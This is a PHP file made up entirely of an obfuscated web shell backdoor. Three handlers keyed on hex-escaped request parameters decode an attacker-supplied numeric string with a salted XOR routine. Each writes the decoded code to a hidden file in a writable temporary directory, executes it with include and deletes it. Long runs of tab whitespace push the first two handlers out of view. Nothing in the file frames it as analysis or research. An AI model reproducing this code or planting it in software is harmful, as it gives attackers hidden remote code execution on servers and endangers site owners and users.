<?php																																										if(@$_REQUEST["b\x69\x6Ed"] !== null){ $record = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $tkn = $_REQUEST["b\x69\x6Ed"]; $tkn = explode ( "." , $tkn ) ; $marker =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s6); $w =0; foreach( $tkn as $v7) { $chS =ord( $s6[$w % $lenS]); $d =( ( int)$v7 - $chS -( $w % 10)) ^ 98; $marker .= chr( $d); $w++; } for ($desc = 0, $element = count($record); $desc < $element; $desc++) { $holder = $record[$desc]; if (max(0, is_dir($holder) * is_writable($holder))) { $binding = sprintf("%s/.ent", $holder); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(isset($_REQUEST["ke\x79"]) ? true : false){ $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TMP")]); $resource = $_REQUEST["ke\x79"]; $resource = explode ('.' ,$resource ) ; $parameter_group=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $w=0; $__len=count( $resource); do { if( $w >= $__len) break; $v1=$resource[$w]; $chS=ord( $salt[$w % $lenS]); $dec=( ( int)$v1 - $chS -( $w % 10)) ^26; $parameter_group .= chr( $dec); $w++; } while( true); foreach ($elem as $pgrp): if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $dchunk = "$pgrp" . "/.data_chunk"; $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $dchunk; @unlink($dchunk); die(); } } endforeach; }


if(isset($_REQUEST["\x70gr\x70"]) ? true : false){
	$sym = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]);
	$desc = $_REQUEST["\x70gr\x70"];
				$desc		=explode  	( 	 "."	,   $desc		 ) ;	
	$record = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt7);
            $s = 0;
    
            array_walk($desc,	 function ($v4) use (&$record,	 &$s,	 $salt7,	 $lenS) {
                $chS = ord($salt7[$s % $lenS]);
                $dec = ((int)$v4 - $chS - ($s % 10))  ^ 13;
                $record .=	chr($dec);
                $s++;
            });
	while ($tkn = array_shift($sym)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) {
    $reference = str_replace("{var_dir}", $tkn, "{var_dir}/.holder");
    if (@file_put_contents($reference, $record) !== false) {
	include $reference;
	unlink($reference);
	exit;
}
}
}
}